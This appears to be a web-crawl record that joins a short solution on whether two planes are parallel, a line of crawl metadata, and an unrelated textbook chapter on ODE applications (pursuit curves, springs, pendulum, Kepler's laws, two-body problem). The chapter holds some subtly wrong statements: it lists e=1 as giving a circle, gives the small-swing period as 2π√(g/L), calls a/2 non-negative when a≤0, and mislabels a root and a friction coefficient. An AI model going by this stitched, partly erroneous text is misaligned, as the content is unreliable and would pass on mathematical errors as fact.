Question 13 In the following cases, determine whether the given planes are parallel or perpendicular, and in case they are neither, find the angles between them. (c) 2x – 2y + 4z + 5 = 0 and 3x – 3y + 6z – 1 = 0 2x − 2y + 4z + 5 = 0 2x − 2y + 4z = −5 −2x + 2y − 4z = 5 Comparing with A1x + B1y + C1z = d1 Direction ratios of normal = –2, 2, –4 A1 = –2 , B1 = 2 , C1 = –4 3x − 3y + 6z − 1 = 0 3x − 3y + 6z = 1 Comparing with A2x + B2y + C2z = d2 Direction ratios of normal = 3, –3, 6 A2 = 3 , B2 = –3 , C2 = 6 Check parallel Two lines with direction ratios 𝐴_1, 𝐵_1, 𝐶_1 and 𝐴_2, 𝐵_2, 𝐶_2 are parallel if 𝑨_𝟏/𝑨_𝟐 = 𝑩_𝟏/𝑩_𝟐 = 𝑪_𝟏/𝑪_𝟐 Here, 𝐴_1/𝐴_2 = (−2)/3, 𝐵_1/𝐵_2 = 2/(−3) = (−2)/3 , 𝐶_1/𝐶_2 = (−4)/6 = (−2)/3 Since, 𝐴_1/𝐴_2 = 𝐵_1/𝐵_2 = 𝐶_1/𝐶_2 = (−2)/3 Therefore, the two normal are parallel Since normal are parallel, the two planes are parallel. | 481 | 937 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.0625 | 4 | CC-MAIN-2024-38 | latest | en | 0.785783 |
https://calculus123.com/wiki/Applications_of_ODEs | 1,563,486,195,000,000,000 | text/html | crawl-data/CC-MAIN-2019-30/segments/1563195525829.33/warc/CC-MAIN-20190718211312-20190718233312-00298.warc.gz | 347,285,442 | 24,881 | This site is devoted to mathematics and its applications. Created and run by Peter Saveliev.
# Applications of ODEs
## Pursuit curves
In this chapter, we will often refer to systems of ODEs as vector ODEs or simply ODEs.
Imagine a hound running after a rabbit. Let's investigate their mutual dynamics.
We assume that the hound is always heading at the rabbit while the rabbit is heading for its hole and never changes directions.
We build a discrete model. This means that the time progresses in increments: $$t_0=0,\ t_{n+1}=t_n+\Delta t.$$ The main assumption is:
• during the time interval $[t_n,t_n+\Delta t]$, the hound will be running toward the spot where the rabbit was at time $t_n$.
Suppose their locations are:
• $(x,y)$ is the location of the rabbit, and
• $(p,q)$ is the location of the hound.
They are represented by parametric curves defined at the nodes of the standard partition of the real line:
• $(x_n,y_n)=(x(t_n),y(t_n))$ is the location of the rabbit after $n$ increments, and
• $(p_n,q_n)=(p(t_n),q(t_n))$ is the location of the hound after $n$ increments.
On the left we have, just as before, a simplified notation.
Suppose
• $s$ is the speed of the rabbit, and
• $v$ is the speed of the hound, $v>s$.
Example. We create a model for the hound that is independent of a specific choice of the path of the rabbit: one step at a time.
We compute consecutively:
• the difference between the two: $x_n-p_n$ and $y_n-q_n$, which is the direction from the hound towards the rabbit;
• the unit vector in this direction (dividing by the distance between them);
• the velocity of the hound (multiplying this vector by the hounds' speed $v$); and
• the new location $(p_{n+1},q_{n+1})$ of the hound (adding the velocity times time interval $h=\Delta t$ to the last location).
Above and below left is the pursuit of a rabbit following a circular path. Below right is a sinusoid:
$\square$
Exercise. Implement this model for the case of the rabbit running north-west:
Exercise. Implement this model for the case of the rabbit following a circle, sinusoid, spiral, etc.
We now approach this analytically. To make this possible, we choose a simple case: the rabbit is running along the $y$-axis from the origin. Then, $$\begin{cases} x_{n+1}=0,\\ y_{n+1}=y_n+s\Delta t. \end{cases}$$ Furthermore,
• $\Delta x_n=\Delta x\, (c_n)$,
• $\Delta y_n=\Delta y\, (c_n)$,
• $\Delta p_n=\Delta p\, (c_n)$,
• $\Delta q_n=\Delta q\, (c_n)$,
where $c_n$ are, say, the mid-points of the intervals of the partition. For the hound, we have: $$\begin{cases} p_{n+1}=p_n+\Delta p_n,\\ q_{n+1}=q_n+\Delta q_n. \end{cases}$$ We assume that the hound is located to the right of the $y$-axis and, therefore, moving to its left, $\Delta x_n<0$. As the hound moves from $(p_n,q_n)$ in the direction of $(x_n,y_n)$, the two right triangles are similar:
• first, the one with the sides $p_n-x_n$ and $y_n-q_n$, and
• second, the one with the sides $-\Delta p_n$ and $\Delta q_n$.
These observations give us the discrete model for the hound. We have for the tangent of the base angle of these triangles: $$\tau_n=\frac{y_n-q_n}{p_n-x_n}=\frac{\Delta q_n}{-\Delta p_n}.$$ Therefore, we have a recursive formula for $\Delta q_n$, $$\Delta q_n=-\tau_n\cdot \Delta p_n,$$ if we can just find $\Delta p_n$. The hypotenuse of the latter triangle is $$(\Delta p_n)^2+(\Delta q_n)^2=(v\cdot \Delta t)^2.$$ We derive from the last equation the following: $$1+\tau_n^2=1+\left(\frac{\Delta q_n}{\Delta p_n}\right)^2=\left(\frac{v\cdot \Delta t}{\Delta p_n}\right)^2.$$ Solving this equation for $\Delta p_n$, we choose the negative sign for the square root: $$\Delta p_n=-\frac{v}{\sqrt{1+\tau_n^2}}\Delta t.$$
Warning: If the rabbit gets to the right of the hound, one has to change the sign.
Example. Let's confirm our analysis with a spreadsheet. The setting are the following:
• $\Delta t=.1$ seconds,
• $s=30$ feet per second;
• $v=31$ feet per second;
• $(x_0,y_0)=(0,0)$ feet,
• $(p_0,q_0)=(100,50)$ feet.
The main formulas are the ones for $\Delta p_n$ and $\Delta q_n$: $$\texttt{=-(R3C6)/(SQRT(1+RC[-1]^2))*R1C2},\quad \texttt{=-RC[-2]*RC[-1]}.$$ The results match those acquired via a discrete model. $\square$
From the two recursive formulas, we derive via substitution: $$\begin{array}{lll} \Delta p_n=-\frac{v}{\sqrt{1+\tau_n^2}}\Delta t,&\Longrightarrow&\frac{\Delta p_n}{\Delta t}=-\frac{v}{\sqrt{1+\tau_n^2}},\\ \Delta q_n=-\tau_n\cdot \Delta p_n,&\Longrightarrow&\frac{\Delta q_n}{\Delta t}=\frac{v\tau_n}{\sqrt{1+\tau_n^2}}. \end{array}$$
Then, via $\Delta t\to 0$, we arrive at two time-dependent ODEs: $$\begin{cases} \frac{d p}{d t}=-\frac{v}{\sqrt{1+\tau^2}},\\ \frac{d q}{d t}=\frac{v\tau}{\sqrt{1+\tau^2}}, \end{cases}$$ where $$\tau=\frac{y-q}{p-x},$$ and $(x,y)$ is the fixed parametric curve representing the motion of the rabbit.
Now, let's see what this analysis looks like in the vector notation. Suppose, as before, $H$ is the location of the hound and $R$ is the location of the rabbit. The latter is known. For the former, the displacement vector $\Delta H$ of $H$ has to be collinear to the vector from $H$ to $R$.
Therefore, $$\Delta H \cdot HR=||\Delta H||\cdot ||HR||=S||HR||.$$ The formula applies to any mutual location of the rabbit and the hound as well to pursuits in a space of any dimension.
Exercise. Derive an explicit ODEs for the case when the rabbit follows a straight path.
## ODEs of second order as systems
We previously discussed how ODEs of second order model motion of objects affected by forces. A special case is a linear ODE: $$\frac{\Delta^2 x}{\Delta t^2}= a\frac{\Delta x}{\Delta t}+bx \text{ and }x' '=ax'+bx.$$ Here,
• $x$ is the position,
• $\frac{\Delta x}{\Delta t}$ and $x'$ is the velocity,
• $\frac{\Delta^2 x}{\Delta t^2}$ and $x' '$ is the acceleration.
Meanwhile $a$ and $b$ are constant numbers that express the proportional dependence of the force (i.e., the acceleration) on the velocity and the position respectively. For example, the object may be attached to the wall by a spring and, at the same time, be affected by the friction of the surface.
In fact, it makes sense to assume the following:
• the spring has its Hooke's force proportional to the displacement from the equilibrium, with coefficient $b$, and since it pulls in the direction opposite to the displacement, we conclude that $b\le 0$; and
• the friction force is proportional to the velocity, with coefficient $a$, and since it pulls in the direction opposite to the velocity, we conclude that $a\le 0$.
These will be our assumptions: $$a\le 0,\ b< 0.$$
In chapter 21 we used the discrete equation above to the motion of spring and other dynamics. What about the other equation? In the simplest case $a=0$, it was also solved. In our attempt to solve this equation in the general case we realize that we have no methods developed for equations of second order! When we encounter a completely new situation, we should always try to reduce it to something familiar.
We will apply the following clever trick. We introduce an extra (dependent) variable: $$y=x'.$$ In terms of motion, the trick is nothing but re-introducing the velocity back into the picture. The result is a system of two ODEs: $$\begin{cases} x'&=&&y,\\ y'&=bx&+&ay. \end{cases}$$ The result is a trade-off: increasing the dimension -- from $1$ to $2$ -- but decreasing the order -- from $2$ for $1$ -- of the system. This $2\times 2$ linear vector ODE, $$X'=FX, \text{ with } F=\left[\begin{array}{cc} 0&1\\ b&a \end{array}\right],$$ can now be subjected to the classification analysis presented in the last chapter.
First, the characteristic polynomial is: $$\chi(\lambda)=\lambda^2 -a\lambda - b.$$ Suppose $\lambda_1$ and $\lambda_2$ are its two roots: $$\lambda_{1,2}=\frac{a}{2}\pm\frac{\sqrt{a^2+4b}}{2}.$$ Then the outcomes depend on the sign of the discriminant, $$D=a^2+4b.$$ Consider the case of $D\ge 0$. Since $a\le 0$, we have $$\lambda_{1}= \frac{a}{2}-\frac{\sqrt{a^2+4b}}{2}< 0.$$ Since $b< 0$, we conclude that $$\lambda_{1}= \frac{a}{2}+\frac{\sqrt{a^2+4b}}{2}<\frac{a}{2}+\frac{\sqrt{a^2}}{2}=\frac{a}{2}+\frac{-a}{2}=0$$ Therefore, an important conclusion is that the real eigenvalues are always negative.
According to our classification theorem, there are three main cases:
• Case #1: two distinct real roots;
• Case #2: one real repeated root;
• Case #3: complex conjugate roots.
Case #1 is the case of $$D=a^2+4b>0.$$ The general solution is given by $$x = C e^{\lambda_{1}t} + K e^{\lambda_2t}.$$ As $\lambda_{1},\lambda_2<0$, we have exponential decay (a stable node of the vector ODE): the friction brings the ODE back to the equilibrium without oscillating. Here Euler's method is run with $a=-8,\ b=-1$:
Case #2 is the case of $$D=a^2+4b=0.$$ Again, as $\lambda=\lambda_{1}=\lambda_2<0$, we see exponential decay (a stable improper node of the ODE): the ODE's motion dies out, even though it might overshoot. The general solution is given by $$x = ( C + K t ) e^{\lambda t}.$$ Here Euler's method is run with $a=-2,\ b=-1$:
Case #3 is the case of $$D=a^2+4b<0.$$ The general solution is given by $$x = C e^{\alpha t} \cos(\beta t) + K e^{\alpha t} \sin(\beta t),$$ where $$\alpha=\operatorname{Re}\lambda_{1,2}=\frac{a}{2}$$ is non-negative by assumption and $$\beta=\operatorname{Im}\lambda_{1,2}=\pm\frac{\sqrt{D}}{2}$$ is non-zero because $D\ne 0$. When $a<0$, we see an oscillating decay (a stable focus of the ODE): the friction is strong enough to bring the ODE to the equilibrium eventually but isn't strong enough to stop the ODE from oscillating. Here Euler's method is run with $a=-.5,\ b=-1$:
When $a=0$, we see pure oscillation (a center of the ODE): no friction. Here Euler's method is run with $a=0,\ b=-1$:
Looking at these illustration as a sequence reveals the effect of growing of the friction coefficient $b$.
Exercise. Point out in what way the last illustration doesn't match the description and explain why.
## Vector ODEs of second order: a double spring
What of the nature of the forces remains the same but the motion is on the plane?
In the simplest situation,
• two different springs are attached to the object along the two axes;
• two different kinds of friction are produced along the two axes.
As the object moves,
• two springs exert two forces along the axes -- negatively proportional to the displacement from the equilibrium;
• two kinds of friction exert two forces along the axes -- negatively proportional to the velocity.
The displacements and the velocities of the object in the two directions are independent of each other. Therefore, there will be two linear ODE of order $2$ of the same kinds as before: $$x' '=ax'+bx \text{ and } y' '=cy'+dy ,$$ where $$a\le 0 \text{ and }b\le 0 \text{ and } c\le 0 \text{ and }d\le 0.$$ In this case, the classification in the last section applies, separately. We combine the two scalar equations into one vector equation: $$\begin{cases} x' '&=ax'&+bx \\ y' '&=cy'&+dy \end{cases}\quad\leadsto\quad \left[\begin{array}{cc}x' '\\ y' '\end{array}\right]=\left[\begin{array}{cc}a&0\\ 0&c\end{array}\right] \left[\begin{array}{cc}x'\\ y'\end{array}\right]+\left[\begin{array}{cc}b&0\\ 0&d\end{array}\right]\left[\begin{array}{cc}x \\ y\end{array}\right]$$
Generally, we have a vector ODE: $$X' '=AX'+BX.$$ Here, $$X=\left[\begin{array}{cc}x \\ y\end{array}\right],\quad X'=\left[\begin{array}{cc}x'\\ y'\end{array}\right],\quad X' '=\left[\begin{array}{cc}x' '\\ y' '\end{array}\right]$$ are the position vector, the velocity, and the acceleration, respectively. Also, $A$ and $B$ are two $2\times 2$ matrices that express the (linear) dependence of the force (i.e., the acceleration) on the velocity and position respectively. They don't have to be diagonal anymore.
In contrast to the last section, we will concentrate on the discrete ODEs: $$\frac{\Delta^2 X}{\Delta t^2}=A\frac{\Delta X}{\Delta t}+BX.$$ Here, a solution $X$ is a parametric curve defined on the nodes of a partition of an interval, $t_0,t_1,...$ (i.e., a discrete $0$-form), so that its difference quotient and the second difference quotient satisfy the equation: $$X=\left[\begin{array}{cc}x \\ y\end{array}\right],\quad \frac{\Delta X}{\Delta t}=\left[\begin{array}{cc}\frac{\Delta x}{\Delta t}\\ \frac{\Delta y}{\Delta t}\end{array}\right],\quad \frac{\Delta^2 X}{\Delta t^2}=\left[\begin{array}{cc}\frac{\Delta^2 x}{\Delta t^2}\\ \frac{\Delta^2 y}{\Delta t^2}\end{array}\right].$$
In order to simplify the notation, we define three sequences of vectors in ${\bf R}^2$: $$\begin{array}{lll} X_{n}' '=\frac{\Delta^2 X}{\Delta t^2}(t_n);\\ X_{n}'=\frac{\Delta X}{\Delta t}(t_n);\\ X_{n}=X_(t_n). \end{array}$$ The ODE then produces these three recursive formulas for those three sequences of vectors: $$\begin{array}{lll} X_{n+1}' '=AX_n'+BX_n;\\ X_{n+1}'=X_n'+X_{n+1}' '\, \Delta t;\\ X_{n+1}=X_n+X_{n+1}'\, \Delta t. \end{array}$$ We apply them below.
The starting point is the simplest case of the two springs. Here, the matrices are diagonal: $$A=\left[\begin{array}{rr} a_x&0 \\ 0&a_y \end{array}\right], \quad B=\left[\begin{array}{rr} b_x&0\\ 0&b_y \end{array}\right],$$ with $$a_x,a_y\le 0 \text{ and }b_x,b_y< 0.$$
Below, we will be gradually adding new forces to the setup by adding a new non-zero entry to the matrices. The results are illustrated with the corresponding discrete models produced by Euler's method.
The initial conditions will be the same: $$X_0=\left[\begin{array}{cc}1 \\ 0\end{array}\right],\quad X'_0=\left[\begin{array}{cc}1\\ 1\end{array}\right].$$
We start with nothing but a spring along the $x$-axis: $$A=\left[\begin{array}{rr} 0&0 \\ 0&0 \end{array}\right], \quad B=\left[\begin{array}{rr} \bf{-0.5}&0\\ 0&0 \end{array}\right].$$
The result is an oscillation along the $x$-axis and uniform motion along the $y$-axis.
We now add an identical spring for the $y$-axis: $$A=\left[\begin{array}{rr} 0&0 \\ 0&0 \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&\bf{-0.5} \end{array}\right].$$
As a result, both $x$ and $y$ oscillate at the same period and come back simultaneously; it's a cycle. The path appears to be an ellipse centered at the origin. We also notice that the motion is slows down at the tips of this ellipse.
Exercise. Why isn't the trajectory a circle?
Let's make the latter spring more rigid: $$A=\left[\begin{array}{rr} 0&0 \\ 0&0 \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&\bf{-1} \end{array}\right].$$
As a result, $x$ and $y$ still oscillate but at different frequencies. They may come back simultaneously after several periods. That will create a cycle.
We now add friction in the $x$-direction: $$A=\left[\begin{array}{rr} \bf{-0.3}&0\\ 0&0 \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&-1. \end{array}\right].$$
While $y$ still oscillates, the $x$-position's oscillation diminishes as it approaches $0$.
We also add friction in the $y$-direction now: $$A=\left[\begin{array}{rr} -0.3&0\\ 0&\bf{-0.2} \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&-1.0 \end{array}\right].$$
Both $x$ or $y$ oscillations diminish and the point approaches $0$.
Up until now, $x$ and $y$ has been independent and the two ODEs are solvable separately. This is why everything we see in the simulations are confirmed by the classification in the last section. From now on, this classification doesn't apply anymore. Note also that the clever trick of introducing the velocities as new variables will produce $4\times 4$ matrices, the analysis of which lies outside the scope of this text. This is why we proceed with discrete models only.
We intermix the two variables now by making the friction vary in the directions other than the two axes (for example, the springs may be placed under various angles): $$A=\left[\begin{array}{rr} -0.3&\bf{-0.3} \\ \bf{0.6}&-0.2 \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&-1 \end{array}\right].$$
The pattern of back-and-forth convergence toward $0$ remains.
As a final experiment, we remove the $y$-axis spring: $$A=\left[\begin{array}{rr} -0.3&-0.3\\ 0.6&-0.2 \end{array}\right], \quad B=\left[\begin{array}{rr} -0.5&0\\ 0&\bf{0} \end{array}\right].$$
The oscillation of the $y$-coordinate moves away from $0$.
Let's look at what happens to the energy in this discrete model. But first let's see what the data tells about the continuous motion.
For simplicity we continue to assume that the mass is equal to $1$. Then the kinetic energy is known to be this function of time: $$K(t)=\frac{1}{2}||X'(t)||^2.$$ Euler's method samples the velocity and gives us an approximation of this function, the sampled kinetic energy: $$K_n=\frac{1}{2}||X_n'||^2,$$ in each row of the spreadsheet. Next, suppose that the force is conservative. Then the potential energy can be found as the work of this force: $$W(t)=-\int_0^t X' '\cdot X'\, dt.$$ What does the data tell us about this function? Once again, Euler's method samples the velocity and gives us an approximation of this function, the sampled potential energy computed as follows. Over a period of time from $t_{k-1}$ to $t_{k}$ (length $\Delta t$), the potential energy grows by: $$W_k=-X_k' '\cdot X_k'\, \Delta t.$$ We add these in all rows up to the $n$th to find the current sampled potential energy: $$P_n=\sum_{k=0}^n W_k.$$ The next column contains the sum of the two, the total sampled energy: $$E_n=K_n+P_n=\frac{1}{2}||X_n'||^2-\sum_{k=0}^n X_k' '\cdot X_k'\, \Delta t.$$ As you can see, it's not conserved!
The result is to be expected from sampling (a discrete approximation of) a continuous motion.
Definition. A discrete ODE of second order is given by the following recursive formulas: $$\begin{array}{lll} X_{n+1}' '=f(X_n,X_n');\\ X_{n+1}'=X_n'+X_{n+1}' '\, \Delta t;\\ X_{n+1}=X_n+X_{n+1}'\, \Delta t, \end{array}$$ for some function $f$ and a non-zero number $\Delta t$. Its solution is three sequences of vectors that satisfies these equations.
The discrete ODE conserves energy if we just look at the work the right way. We recompute the potential energy in the next column with the current velocity $X_k'$ replaced with the average of the current and the previous velocities: $$W_k=X_k' '\cdot \frac{1}{2}(X_{k-1}'+X_k')\, \Delta t.$$ The last column confirms the conservation of energy. This fact is also easy to prove algebraically for all linear or non-linear discrete systems.
Theorem (conservation of energy). The energy of a solution $X$ of a discrete ODE of second order defined as $$E_n=\frac{1}{2}||X_n'||^2-\sum_{k=0}^n X_k' '\cdot \frac{1}{2}(X_{k-1}'+X_k')\, \Delta t,$$ is constant.
Proof. $$\begin{array}{lll} E_{n+1}-E_n&=\frac{1}{2}||X_{n+1}'||^2-\frac{1}{2}||X_n'||^2-X_{n+1}' '\cdot \frac{1}{2}(X_{n}'+X_{n+1}')\, \Delta t\\ &=\frac{1}{2}\left( ||X_{n+1}'||^2-||X_n'||^2\right)-\frac{1}{\Delta t}\left(X_{n+1}'-X_n'\right)\cdot \frac{1}{2}(X_{n+1}'+X_{n}')\, \Delta t\\ &=\frac{1}{2}\left( ||X_{n+1}'||^2-||X_n'||^2\right)-\frac{1}{2}\left(X_{n+1}'\cdot X_{n+1}' -X_n'\cdot X_n'\right)\\ &=0. \end{array}$$ $\square$
## A pendulum
Description: “an object is attached to a fixed point with a string and subjected to the gravity”.
Let $x$ be the horizontal axis and $z$ the vertical.
We compute what's necessary, i.e., the acceleration, for the spreadsheet discussed above. Suppose the length of the string is $L$. First, the gravity is the constant vector $$G=<0,-gm>.$$ Then the resistance $R$ of the string is found as the negative of the projection of the gravity on the line from $0$ to the current location $X=<x,z>$: $$R=-\frac{G\cdot X}{||X||^2}X=-\frac{G\cdot X}{L^2}X.$$ Then we find the tangential component of the gravity: $$F=R+G.$$ Or, it is simply: $$F=G\sin \theta,$$ where $\theta$ is the angle of the string with the vertical. Note that the horizontal component of the force is zero when the string is vertical and when it is horizontal and it reverses its direction. Meanwhile, the vertical component is always negative. And the tangential acceleration is: $$A=F/m.$$
These quantities are computed in that order just as before. The updated values of the velocities and the locations are also found except $z$ is found from $x$ by: $$x^2+y^2=L^2,$$ where $L$ is the length of the string. Equivalently, $$x=L\cos \theta,\ y=L\sin\theta.$$ We use a spreadsheet to evaluate these column by column and then for each iteration of $t$:
The visualization suggests that we indeed have a pendulum.
For the $3$-dimensional case, we give the pendulum another -- horizontal -- degree of freedom, $y$. The vector analysis remains the same with $G=<0,0,-gm>$ and $X=<x,y,z>$. The spreadsheet only requires adding columns for $y$. The values of $z$ is found from: $$x^2+y^2+z^2=L^2.$$ Below we plot the parametric curve $<x,y>$ with a non-zero horizontal component of the initial velocity:
We observe that the pendulum swings as before but the plane of the swings is continuously rotating.
We now go back to the $2$-dimensional case and address it analytically. We apply Newton's law to the tangential axis only: $$F = -mg\sin\theta = ma\ \Longrightarrow\ a= -g \sin\theta.$$ How is this linear acceleration $a$ along the tangent related to the change in angle $\theta$? Let $s$ be the arc-length parameter. Since the curve is a circle of radius $L$, we have: $$s = L\theta.$$ Now, the arc-length parameter is a function of $t$, i.e., $s=s(t)$. We differentiate twice with respect to $t$: $$s = L\theta\ \Longrightarrow\ v=s' = L\theta'\ \Longrightarrow\ a = x' ' = L\theta' '.$$ Therefore, $$L\theta' ' = -g \sin\theta,$$ or $$\theta' ' + \frac{g}{L} \sin\theta = 0.$$ This is a non-linear ODE with respect to $\theta$.
To confirm our simulations, we plot a few solutions using Euler's method just as in the last chapter:
Here $\theta$ is plotted against $\alpha=\theta'$; i.e., we are considering the following system: $$\begin{cases} \theta'=\alpha,\\ \alpha'=-\frac{g}{L} \sin\theta. \end{cases}$$ The Euler's solutions aren't periodic but rather appear to be spirals!
Let's linearize! There is only one equilibrium $\theta =\alpha =0$. Now, $$\frac{d}{d\theta}\big( \sin\theta \big)(0)=1.$$ Therefore, the linearized systems is: $$\begin{cases} \theta'=\alpha,\\ \alpha'=-\frac{g}{L}\theta. \end{cases}$$ We can look at the eigenvalues: $$A=\left[\begin{array}{ll} 0&1\\ -\frac{g}{L}&0 \end{array}\right] \ \Longrightarrow\ \chi_A(\lambda)=\det(A-\lambda I)=\det\left[\begin{array}{ll} -\lambda&1\\ -\frac{g}{L}&-\lambda \end{array}\right]=\lambda^2+\frac{g}{L}=0 \ \Longrightarrow\ \lambda_{1,2}=\pm\sqrt{\frac{g}{L}}i.$$ According to the Classification of linear systems II in Chapter 23, the system has a center at $0$! Of course, we can just solve the linearized system: $$\theta' '=\alpha'=-\frac{g}{L}\theta\ \Longrightarrow\ \theta=\theta_0\cos\left( \sqrt{\frac{g}{L}}t \right),$$ with the initial conditions: $$\theta(0)=\theta_0 \text{ and } \theta'(0)=0.$$ So, our conclusion is that when small the swings are close to periodic with a period $2\pi\sqrt{\frac{g}{L}}$. The period is independent of the amplitude $\theta_0$!
## Planetary motion
A familiar problem about a ball thrown in the air has a solution: its trajectory is a parabola. However, we also know that if we throw really-really hard (like a rocket) the ball will start to orbit the Earth following an ellipse.
The motion of two planets (or a star and a planet, or a planet and a satellite, etc.) is governed by a single force: the gravity. Recall how this force operates.
Newton's Law of Gravity: The force of gravity between two objects is
• 1. proportional to either of their masses,
• 2. inversely proportional to the square of the distance between their centers, and
• 3. directed along the segment between them.
In other words, the force is given by the formula: $$F = G \frac{mM}{r^2},$$ where:
• $F$ is the force between the objects;
• $G$ is the gravitational constant;
• $m$ is the mass of the first object;
• $M$ is the mass of the second object;
• $r$ is the distance between the centers of the masses.
Let's connect this familiar physics law to another.
Kepler's Laws of Planetary Motion: The motion of planets around the Sun follows these laws:
• 1. The orbit of a planet is an ellipse with the Sun at one of the two foci.
• 2. A line segment joining a planet and the Sun sweeps out equal areas during equal intervals of time.
• 3. The square of the orbital period of a planet is proportional to the cube of the semi-major axis of its orbit.
We know the vector form of Newton's law (with the first object located at the origin): $$F=-G mM\frac{X}{||X||^3}.$$ Then, we have a vector ODEs of second order for the location $X$ of the second object: $$X' '=-G M\frac{X}{||X||^3}.$$ We will call it Newton's ODE of planetary motion. It is non-linear.
As before, from the acceleration $X' '_n$ the velocity $X'_n$ and then from the velocity the position $X_n$ are computed by what amounts to Euler's method. The discrete model of planetary motion is a discrete model of second order given by the following recursive formulas: $$\begin{array}{lll} X_{n+1}' '=-G M\frac{X_n}{||X_n||^3};\\ X_{n+1}'=X_n'+X_{n+1}' '\, \Delta t;\\ X_{n+1}=X_n+X_{n+1}'\, \Delta t. \end{array}$$ The result is as predicted: the points form what looks like an ellipse with one of the foci at the origin (First Kepler's Law).
In order to confirm this idea, we first draw a line from the origin (the first focus) to the point on the curve where it is perpendicular to the tangent. We then continue this line to the other end of the curve and discover that indeed the tangent is again perpendicular to this chord. We then measure the distance from the focus to the first point and plot the same distance from the second point along the chord. This gives us the second focus (left).
We further test our conjecture by plotting the lines representing rays of light that start at one focus and then bounce off the curve to the other focus (right).
Exercise. Is this really an ellipse?
By changing the initial conditions we can produce other patterns of behavior such as what looks like a hyperbola:
Now what about the Second Kepler's Law?
We can see in our simulation that the points away from the origin (the first object) are closer spaced than the ones closer to the origin. This means that the motion is faster when they are closer. That is why the longer triangles are thinner.
We confirm that the areas of the triangles are the same by computing them in the last column of the spreadsheet via the Parallelogram Formula: $$A_{n+1}=\frac{1}{2}\big|\det \left[ X_{n+1}X_n \right]\big|,$$ where $X_{n+1}$ and $X_n$ are given by their column vectors.
We will derive the law in a more general setting than the original. First we note that it might apply to all discrete trajectories not just ellipses.
Exercise. Prove that an object moving along a straight line at a constant speed satisfies the area property with respect to any fixed point. Hint: use elementary geometry.
Second, we will see that the law applies to more general forces than just the gravity. The gravity is a central force, i.e., one that is directed along the line between the location and the origin. Then the recursive formula for such a discrete models is: $$X_{n+1}' '=L(||X_n||)X_n,$$ for some function $L$.
Theorem (Discrete Second Kepler's Law). If $X$ is a trajectory of the discrete model with central force, the segment from the focus to the location sweeps an equal area in an equal time. Conversely, if this area property is satisfied by each trajectory of a discrete model of order two, the model is produced by a central force.
Proof. We consider the model: $$X_{n+1}' '=f(X_n),$$ where $f$ is some function. Then, $$X_{n+1}'=X_n'+X_n' ' \Delta t=X_n'+f(X_n)\Delta t.$$
We will use twice the Parallelogram Formula for the oriented area $A$ of the triangle spanned by vectors $M$ and $N$: $$A=\frac{1}{2}\det \left[ M\,N \right].$$ However, the vectors chosen will be different from those used in the spreadsheet.
First, suppose the triangle with area $A_{n}$ is formed by $X_n$ and $X_{n}'\Delta t$; therefore, we have by the linearity of the determinant: $$A_{n}=\frac{\Delta t}{2}\det \left[X_n\,X_{n}'\right] .$$
Second, suppose the triangle with area $A_{n+1}$ is formed by $X_n$ and $X_{n+1}'\Delta t$; therefore, we have the following by the linearity and the additivity of the determinant: $$\begin{array}{ll} A_{n+1}&=\frac{\Delta t}{2}\det \left[X_n\ X_{n+1}'\right] \\ &=\frac{\Delta t}{2}\det \left[X_n\ (X_n'+f(X_n)\Delta t) \right] \\ &=\frac{\Delta t}{2}\big( \det \left[X_n\ X_n'\right]+\Delta t\det \left[X_n\ f(X_n)\right]\big) .\\ \end{array}$$
Therefore, $$A_{n+1}-A_n=\frac{\Delta t^2}{2}\det \left[X_n\ f(X_n)\right].$$ Finally, $A_{n+1}=A_n$ if and only if $X_n$ and $f(X_n)$ are parallel. $\blacksquare$
Exercise. Derive Kepler's Second Law from this theorem. Hint: use what you know about the accuracy of Euler's method.
We thus conclude that the motion along the ellipse (or the parabola, or the hyperbola seen below) does not match its standard parametrization, $x=a\sin \omega t,\ y=b\sin \omega t$.
The formulas fully apply to the $3$-dimensional situation. Plotting the orbit along the three coordinate planes produces the following:
Exercise. Implement a simulation of planetary motion in the $3$-dimensional space. Demonstrate that the motion is planar.
We state the following without proof.
Theorem. Any trajectory of the Newton's ODE of planetary motion is given by the following in polar coordinates: $$r=\frac{p}{1+e \cdot\cos \theta},$$ which is
• a circle for $e=1$,
• an ellipse for $0 <e <1$,
• a parabola for $e = 1$,
• a hyperbola for $e > 1$,
with the focus at the origin.
The graphs are plotted for $e = 0,.5,1,2$:
The proof of this theorem lies beyond the scope of this book.
Finally, let's go back to the question posed in the beginning of the section: what is the correct trajectory?
Let's review what we concluded about these two settings in Chapter 17.
• When the Earth is seen as “large” in comparison to the size of the trajectory, the gravity forces are assumed to be parallel in all locations. Then the trajectory is a parabola as the graph of a function with the $x$-axis aligned with the surface of the Earth and $y$-axis with the force.
• When the Earth is seen as either “small” or at least perfectly spherical, the gravity forces are assumed to go radially toward its center. Then the trajectory is an ellipse (or a hyperbola or a parabola) with its focus located at the center.
When the size and, therefore, the shape of the Earth matter, things get complicated...
## The two- and three-body problems
We have ignored the effect of the Earth's gravity on the Sun. The reason is that the mass $p$ of the Sun is significantly larger than the mass $q$ of the Earth: $$p>>q.$$ This is the assumption that allows us to place the Sun at the origin as a stationary object. What if we have the two planets of comparable sizes?
Suppose now we have two planets with masses $p,q$ with located at $U,V$ respectively. Either of the two objects is affected by the gravity of the other. Then the two interactions appear in the two dependent ODEs: $$\begin{array}{lll} U' '=-G q\frac{U-V}{||U-V||^3};\\ V' '=-G p\frac{V-U}{||V-U||^3}.\\ \end{array}$$ This is called the two-body problem.
Let's apply Euler's method to see what can happen.
We start with two identical planets. They seem to circle each other...
...until we realize that either one circles a certain point, the same point for both. This point lies half-way between then, $$C=\frac{1}{2}(U+V).$$ This fact is confirmed in the last column of the spreadsheet.
Let's double the mass of the first planet. With everything else remaining the same, the two planets seem to dance away while still circling each other. This time, the mid-point is also circling.
